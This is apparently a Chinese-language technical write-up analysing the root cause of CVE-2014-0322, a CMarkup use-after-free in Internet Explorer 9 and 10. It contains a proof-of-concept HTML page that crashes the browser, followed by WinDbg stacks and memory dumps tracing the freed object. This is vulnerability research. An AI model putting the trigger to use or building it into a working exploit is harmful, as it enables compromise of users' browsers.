漏洞概述
該漏洞是一個(gè) CMarkup 對(duì)象的 UAF,其中CMarkup 指針殘留在寄存器中。
關(guān)于這個(gè)漏洞,網(wǎng)上其實(shí)已經(jīng)有很多分析文章,但是分析工作基本上都只是停留在表面,文章作者更多的著眼于漏洞的利用方法上,并沒有過多的分析漏洞的根本原因,這里在三年之后回過頭來仔細(xì)的分析一下漏洞產(chǎn)生的內(nèi)在原理。
漏洞樣本
<!--http://blog.csdn.net/tony_whu/article/details/19335801-->
<html>
<head id="headId">
<title>main page</title>
<script>
function fun()
{
try{
this.outerHTML=this.outerHTML
} catch(e){}
CollectGarbage();
}
function puIHa3() {
var a = document.getElementsByTagName("script");
var b = a[0];
b.onpropertychange = fun ;
var c = document.createElement('SELECT');
c = b.appendChild(c);//
}
puIHa3();
</script>
</head>
</html>
漏洞分析
首先閱讀漏洞樣本,樣本邏輯大致為
- 獲取頁面中的script標(biāo)簽
- 為其設(shè)置事件響應(yīng) onpropertychange ,此時(shí)會(huì)第一次觸發(fā)響應(yīng)函數(shù) fun
- 使用 appendChild 為其添加子節(jié)點(diǎn),此時(shí)會(huì)第二次觸發(fā)響應(yīng)函數(shù) fun
這里選用 script 標(biāo)簽是由于其特殊性:script 的 appendChild DOM 操作會(huì)修改其 text 屬性,從而觸發(fā) onpropertychange 事件。
測(cè)試環(huán)境為 win8 IE10,在瀏覽器中打開樣本,程序崩潰,崩潰點(diǎn)及調(diào)用棧如下
0:005> r
eax=00000000 ebx=0e146fa0 ecx=77b13c18 edx=00731078 esi=0fe74cc0 edi=0779ef50
eip=6875da85 esp=0455b260 ebp=0455b2c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CMarkup::NotifyElementEnterTree+0x266:
6875da85 ff4678 inc dword ptr [esi+78h] ds:0023:0fe74d38=????????
0:005> kb
ChildEBP RetAddr Args to Child
0455b2c8 6875e1f1 0fe74cc0 0779ef50 0e146fa0 MSHTML!CMarkup::NotifyElementEnterTree+0x266
0455b30c 6875e065 0e146fa0 0779ef50 0fd54fc4 MSHTML!CMarkup::InsertSingleElement+0x169
0455b3ec 6875ddaa 0fe74cc0 0779ef50 0455b438 MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
0455b410 6875dd6c 0779ef50 0455b438 0455b444 MSHTML!CMarkup::InsertElementInternal+0x2e
0455b450 6875de09 0779ef50 0455b548 0455b548 MSHTML!CDoc::InsertElement+0x9c
0455b518 686f3c10 00000000 0455b548 0c27cf40 MSHTML!InsertDOMNodeHelper+0x454
0455b590 686f390c 0c27cf40 0779ef50 00000000 MSHTML!CElement::InsertBeforeHelper+0x2a8
0455b5f4 686f402c 00000000 00000003 0a112e10 MSHTML!CElement::InsertBeforeHelper+0xe4
0455b614 686f6f43 0779ef50 00000001 00000000 MSHTML!CElement::InsertBefore+0x36
0455b6a0 686f6e60 0a112e10 0455b6e0 00000002 MSHTML!CElement::Var_appendChild+0xc7
很明顯可以看到,程序崩潰在執(zhí)行 appendChild 操作的流程中,且崩潰原因是由于 esi 指針即傳入的第一個(gè)參數(shù)指向的位置非法導(dǎo)致的。esi 所指的地址空間為一個(gè) CMarkup 對(duì)象(這里較簡單,且網(wǎng)上分析問中均有藐視,因此不再贅述)
CMarkup 對(duì)象在 IE 中可以看作是 MarkupService 中的 MarkupContainer,其作用是用來囊括一系列的 DOM 操作,保證對(duì) DOM 的流操作在其范圍內(nèi)進(jìn)行。(Markup 和 CMarkup 對(duì)象)
第一次 onpropertychange
回到頁面中來,我們首先在 this.outerHTML = this.outerHTML 語句上下斷點(diǎn),觀察他的執(zhí)行情況,其內(nèi)部實(shí)現(xiàn)是調(diào)用函數(shù) MSHTML!CElement::put_outerHTML,在此處下斷點(diǎn)重新運(yùn)行程序,程序會(huì)在函數(shù)位置斷下兩次,首先在第一次觸發(fā)斷點(diǎn)時(shí)查看函數(shù)調(diào)用棧
0:005> k
ChildEBP RetAddr
0465a878 68b92772 MSHTML!CElement::put_outerHTML
0465a8a0 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
0465a908 697ac6ba jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x185
0465a928 697ac7aa jscript9!Js::JavascriptArray::GetSetter+0xcf
0465a968 697ac85b jscript9!Js::JavascriptOperators::CallSetter+0x6c
0465a9a8 697b0a80 jscript9!Js::JavascriptOperators::SetProperty+0x178
0465a9d0 697b09da jscript9!Js::JavascriptOperators::OP_SetProperty+0x48
0465aa44 697b0953 jscript9!Js::InterpreterStackFrame::OP_ProfiledSetProperty<0,Js::OpLayoutElementCP_OneByte>+0x1e8
0465abd8 69816492 jscript9!Js::InterpreterStackFrame::Process+0xfbf
0465ac14 69816445 jscript9!Js::InterpreterStackFrame::OP_TryCatch+0x3a
0465ada4 697836d9 jscript9!Js::InterpreterStackFrame::Process+0x3d20
0465aeb4 05e20fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
0465aec0 6977f8e0 0x5e20fd9
0465af48 6977fa4a jscript9!Js::JavascriptFunction::CallRootFunction+0x140
0465af60 6977fa1f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
0465afa8 6977f9a7 jscript9!ScriptSite::CallRootFunction+0x40
0465afd4 6989f273 jscript9!ScriptSite::Execute+0x61
0465affc 698baaa3 jscript9!JavascriptDispatch::InvokeOnSelf+0xd6
0465b068 68a82bd6 jscript9!JavascriptDispatch::InvokeEx+0x1e5
0465b0bc 68a82ed9 MSHTML!CBase::InvokeDispatchWithThis+0xb9
0465b16c 686de94b MSHTML!CBase::InvokeEvent+0x2a2
0465b2e8 68a5cd68 MSHTML!CBase::FireEvent+0x12e
0465b480 68a5dfe3 MSHTML!CElement::FireEvent+0x266
0465b5c4 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
0465b5e8 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
0465b7a4 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
0465b7bc 68964b4f MSHTML!CScriptElement::OnPropertyChange+0x16
0465b7dc 68a58290 MSHTML!BASICPROPPARAMS::SetCodeProperty+0x83
0465b7f0 68964c3f MSHTML!PROPERTYDESC::HandleCodeProperty+0x5c
0465b814 68dcab28 MSHTML!CBase::put_VariantHelper+0x33
0465b858 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_onpropertychange+0x78
可以發(fā)現(xiàn)這里第一次調(diào)用是由于設(shè)置 onpropertychange 本身導(dǎo)致的。跟進(jìn)函數(shù)進(jìn)一步觀察,函數(shù)會(huì)將頁面中 script 標(biāo)簽的 outerHTML 內(nèi)容再次解析,重新創(chuàng)建一 ScriptElement 并重新插入當(dāng)前頁面的 DOM 流中,替換掉之前的 ScriptElement 。
在 script 標(biāo)簽的創(chuàng)建位置 MSHTML!CScriptElement::CreateElement 下斷點(diǎn)。程序在初始解析頁面時(shí)會(huì)根據(jù)頁面內(nèi)容創(chuàng)建一 ScriptElement,我們稱之為 script_a,繼續(xù)運(yùn)行程序,當(dāng)執(zhí)行 this.outerHTML = this.outerHTML 時(shí)會(huì)再次斷在該位置,創(chuàng)建一個(gè)新的ScriptElement 我們稱之為 script_b ?,F(xiàn)在開始觀察 script_a 和 script_b 與頁面 DOM 流的位置情況。
<small>_這里先簡要說明一下 IE 10 中 DOM 的結(jié)構(gòu),IE 10 中的 DOM 仍是以流結(jié)構(gòu)來構(gòu)建,用 CTreeNode 表示節(jié)點(diǎn)在 DOM 流中的位置,節(jié)點(diǎn)對(duì)象偏移 0x1C 位置指向的是其 CTreeNode 對(duì)象。CTreeNode 對(duì)象中使用兩個(gè) CTreePos 分別指向 DOM 流中節(jié)點(diǎn)的頭標(biāo)簽位置(+0xC tpBegin)和尾標(biāo)簽位置 (+0x24 tpEnd),CTreePos 中又分別用兩個(gè)指針指向當(dāng)前位置的左(+0x10 tpLeft)和右(+0x14 tp_Right) _
CTreeNode
+0xC tpBegin
+0x10 tpLeft
+0x14 tp_Right
+0x24 tpEnd
+0x10 tpLeft
+0x14 tp_Right
</small>
如下所示是 script_b 剛剛創(chuàng)建之后 script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000006 00000005 00000028
064fef50 00000000 00000000 077ea0c1 0b294fa0 // 0b294fa0 是 script_a 的 CTreeNode
064fef60 00000065 01220008 90000e02 00000004
// CTreeNode_a
0b294fa0 064fef40 0ae9afa0 71020065 00000571
0b294fb0 00000012 0b34cfac 0b1fedb0 066d8fd0
0b294fc0 0b11efd0 00000072 00000171 0b11efd0
0b294fd0 03ea4fd0 0b11efd0 0ae9afc4 00010005
0b294fe0 00010006 00050042 00000000 00000000
0b294ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x0b11efd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 a_tpBegin Text2 a_tpEnd head_tp_end
// script_b
0ae5cf40 688cdb38 00000001 00000003 00000008
0ae5cf50 00000000 00000000 00000000 00000000
0ae5cf60 00000000 00000000 00000000 00000000
可以明顯看出此時(shí) script_a 處于頁面 DOM 流中,而 script_b 并未處于流中 (其實(shí)這里 script_b 處于其解析過程中的 outerHTML 流中,不過為了節(jié)省篇幅,且此處無影響因此略過)
運(yùn)行程序直至其跳出 MSHTML!CElement::put_outerHTML,再次觀察script_a 和 script_b 在流中的位置
// script_a
064fef40 688cdb38 00000003 00000003 00000018
064fef50 00000000 00000000 077ea0c0 00000000
064fef60 00000065 01200808 90000e02 00000004
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出此時(shí)頁面流發(fā)生了變化,script_a 被 script_b 替換。此時(shí) script_a 不再處于 DOM 流中,而頁面中 b 對(duì)象仍然指向 script_a。
appendChild
繼續(xù)運(yùn)行程序執(zhí)行 appendChild 操作,該操作為目標(biāo)節(jié)點(diǎn)在 DOM 流中添加子節(jié)點(diǎn)。此時(shí)進(jìn)行操作的對(duì)象為 b.appendChild(c),即 script_a 對(duì)象。但是由于此時(shí) script_a 不再處于 DOM 流中,因此需要為此次操作新建一個(gè) DOM 流,因此需要新建一 CMarkup 對(duì)象,我們稱之為 markup_tt。創(chuàng)建時(shí)函數(shù)調(diào)用棧如下
0:005> k
ChildEBP RetAddr
04c3bbe8 686f4e3d MSHTML!CDoc::CreateMarkupFromInfo+0x17f
04c3bc60 68965a66 MSHTML!CDoc::CreateMarkupWithElement+0x8a
04c3bce0 686f390c MSHTML!CElement::InsertBeforeHelper+0x36d
04c3bd44 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04c3bd64 686f6f43 MSHTML!CElement::InsertBefore+0x36
04c3bdf0 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04c3be20 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
運(yùn)行程序直至其跳出 appendChild,觀察 script_a 在流中的位置
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 0b344fa0
064fef60 00000065 01220008 10000e02 00000004
// CTreeNode_a
0b344fa0 064fef40 09e97fa0 71020065 00000171
0b344fb0 00000001 09e97fac 0a02ffd8 09e97fac
0b344fc0 0a02ffd8 00000062 00000000 09e97fc4
0b344fd0 08306fd8 08306fd8 09e97fc4 00000003
0b344fe0 00010006 00050042 00000000 00000000
0b344ff0 00000000 0ae72b30 06680bf8 00000000
// DOM 流
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
此時(shí) script_a 處在 markup_tt 所管理的流中;同時(shí)查看 script_b 所處流的位置
// script_b
0ae5cf40 688cdb38 00000001 00000001 00000008
0ae5cf50 00000000 00000000 00000000 0b332fa0
0ae5cf60 00000065 01220000 90000800 00000004
// CTreeNode_b
0b332fa0 0ae5cf40 0ae9afa0 70020065 00000061
0b332fb0 00000000 0ae9afc4 066d8fd0 066d8fd0
0b332fc0 09cdbfd0 00000062 00000000 00000000
0b332fd0 09cdbfd0 09cdbfd0 0ae9afc4 ffffffff
0b332fe0 ffffffff 00010000 00000000 00000000
0b332ff0 00000000 00000000 06680bf8 00000000
// DOM 流
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
可以看出 appendChild 操作實(shí)際上并未對(duì)頁面 DOM 流產(chǎn)生影響。
那么此時(shí),進(jìn)程中同時(shí)存在兩個(gè) DOM 流,一個(gè)是頁面渲染所產(chǎn)生的 “頁面DOM 流”,由頁面內(nèi)容索引可得;另一個(gè)是 appendChild 所產(chǎn)生的 “Append DOM 流”,由 js 對(duì)象 b 索引可得。且兩個(gè) DOM 流之間不相互影響。
第二次 onpropertychange
繼續(xù)運(yùn)行程序至第二次 MSHTML!CElement::put_outerHTML 位置,查看調(diào)用棧
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d -----------------------------
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
......
04a8b62c 68aab4bc MSHTML!CElement::Fire_onpropertychange+0x66
04a8b650 6862536f MSHTML!CElement::Fire_PropertyChangeHelper+0xfe
04a8b80c 68859384 MSHTML!CElement::OnPropertyChange+0x6a8
04a8b824 68a2d2d7 MSHTML!CScriptElement::OnPropertyChange+0x16
04a8b898 688592e1 MSHTML!BASICPROPPARAMS::SetStringProperty+0x167
04a8b8bc 687f7017 MSHTML!CBase::put_StringHelper+0x5e
04a8b8dc 687f6fce MSHTML!CScriptElement::SetPropertyHelper+0x19
04a8b8fc 686299cb MSHTML!CScriptElement::OnTextChange+0x53
04a8b914 6875da03 MSHTML!CElement::HandleTextChange+0x3a -----------------------------
04a8b988 6875e1f1 MSHTML!CMarkup::NotifyElementEnterTree+0x1e4
04a8b9cc 6875e065 MSHTML!CMarkup::InsertSingleElement+0x169
04a8baac 6875ddaa MSHTML!CMarkup::InsertElementInternalNoInclusions+0x11d
04a8bad0 6875dd6c MSHTML!CMarkup::InsertElementInternal+0x2e
04a8bb10 6875de09 MSHTML!CDoc::InsertElement+0x9c
04a8bbd8 686f3c10 MSHTML!InsertDOMNodeHelper+0x454
04a8bc50 686f390c MSHTML!CElement::InsertBeforeHelper+0x2a8
04a8bcb4 686f402c MSHTML!CElement::InsertBeforeHelper+0xe4
04a8bcd4 686f6f43 MSHTML!CElement::InsertBefore+0x36
04a8bd60 686f6e60 MSHTML!CElement::Var_appendChild+0xc7
04a8bd90 697ab86f MSHTML!CFastDOM::CNode::Trampoline_appendChild+0x55
第二次調(diào)用是由于 appendChild 導(dǎo)致的 OnTextChange 觸發(fā),同樣第二次調(diào)用也會(huì)創(chuàng)建一個(gè)新的 ScriptElement 我們稱之為 script_c。這里同樣進(jìn)行 DOM 流的替換操作,此處替換的仍是 script_a。分別查看 script_a 、 script_b、 script_c 在流中的情況
// script_a 不變
0x09e97fac - 0x0b344fac - 0x0a02ffd8 - 0x0706afac - 0x0706afc4 - 0x08306fd8 - 0x0b344fc4 - 0x09e97fc4
markup_tt_root a_tpBegin Text1 Select_tpBegin Select_tpEnd Text2 a_tpEnd markup_tt_root
// script_b 不變
- 0x0ae50fc4 - 0x066d8fd0 - 0x0b294fac - 0x09cdbfd0 - 0x0b294fc4 - 0x0ae9afc4 -
Title_tpEnd Text1 b_tpBegin Text3 b_tpEnd head_tp_end
// script_c
0b310f40 688cdb38 00000001 00000000 00000008
0b310f50 00000000 00000000 00000000 00000000
0b310f60 00000065 00000000 00000000 00000000
在 markup_tt 上下硬件斷點(diǎn),運(yùn)行程序,此時(shí)程序?qū)?huì)在markup_tt 釋放處斷下,查看調(diào)用棧,發(fā)現(xiàn)程序仍處在 MSHTML!CElement::put_outerHTML 中
04a8a724 68a9e27b MSHTML!InjectHtmlStream+0x512
04a8a764 6862bd08 MSHTML!HandleHTMLInjection+0x82
04a8a858 6862bf39 MSHTML!CElement::InjectInternal+0x506
04a8a8cc 687b12d9 MSHTML!CElement::InjectTextOrHTML+0x1a4
04a8a8e8 68b92772 MSHTML!CElement::put_outerHTML+0x1d
04a8a910 697ab86f MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_outerHTML+0x54
再次查看 script_a 、 script_b、 script_c 在流中的情況與之前做比對(duì)
// script_b
不變
// script_a
064fef40 688cdb38 00000008 00000006 00000028
064fef50 00000000 00000000 077ea0c1 00000000
064fef60 00000065 01200808 10000e02 00000004
// script_c
0b310f40 688cdb38 00000003 00000003 00000008
0b310f50 00000000 00000000 00000000 0b242fa0
0b310f60 00000065 01220000 90000e00 00000004
// CTreeNode_c
0b242fa0 0b310f40 0b1b4fa0 70020065 00000061
0b242fb0 00000000 00000000 09e97fac 09e97fac
0b242fc0 07c58fd0 00000252 00000013 09e97fc4
0b242fd0 0a92bfc4 07c58fd0 09e97fc4 ffffffff
0b242fe0 ffffffff 00030002 00000000 00000000
0b242ff0 00000000 00000000 06680bf8 00000000
0x09e97fac - 0x0b242fac - 0x07c58fd0 - 0x0b242fc4 - 0x09e97fc4
markup_tt_root c_tpBegin Text1 c_tpEnd markup_tt_root
可以看出這里 markup_tt 所管理的 “AppendChild DOM 流”中 script_a 被 script_c 所替換,而 “頁面 DOM流”仍保持不變。
我們可以注意到當(dāng)這個(gè)替換操作完成的時(shí)候,script_a 再次處于獨(dú)立狀態(tài)。此時(shí),markup_tt 所管理的整個(gè) DOM 流 都不會(huì)有 js 對(duì)象或者頁面對(duì)象訪問,換而言之,markup_tt 所管理的整個(gè) DOM 流此時(shí)會(huì)被當(dāng)作是垃圾。因此在函數(shù)退出時(shí) markup_tt 的引用計(jì)數(shù)將會(huì)被設(shè)置為 0, 對(duì)象被釋放。
而由于下層函數(shù) CMarkup::NotifyElementEnterTree 的調(diào)用上下文中還存有 markup_tt 的指針,MSHTML!CElement::HandleTextChange 操作之后,還會(huì)對(duì) markup_tt 進(jìn)行訪問,因此再次訪問時(shí)程序崩潰!!!
另外說一點(diǎn)
在 CVE 官網(wǎng)上,我們可以看到 cve-2014-0322 只能在 IE9 、IE10 上觸發(fā)。因此筆者分別在 IE8 和 IE11 上也對(duì)漏洞樣本進(jìn)行了分析,確實(shí)沒有產(chǎn)生崩潰,并發(fā)現(xiàn)了如下情況
- IE8 中不允許 script 標(biāo)簽進(jìn)行 AppendChild 操作,且其他標(biāo)簽均無法使用 DOM 操作觸發(fā) onpropertychange
- IE11 中Node 對(duì)象不再提供 outerHTML 屬性的支持
- 使用Mutation事件響應(yīng)的方式,同樣可以導(dǎo)致 “AppendChild DOM 流” 的釋放,但在Mutation事件響應(yīng)結(jié)束之后,并不會(huì)再對(duì) markup_tt 進(jìn)行訪問。因此不會(huì)觸發(fā)漏洞
漏洞小節(jié)
這個(gè)漏洞的產(chǎn)生原因主要是由于,函數(shù)當(dāng)前域內(nèi)的 this 指針在其他函數(shù)域內(nèi)被釋放,且函數(shù)并未得到通知,因此仍照常使用 this 指針,導(dǎo)致崩潰。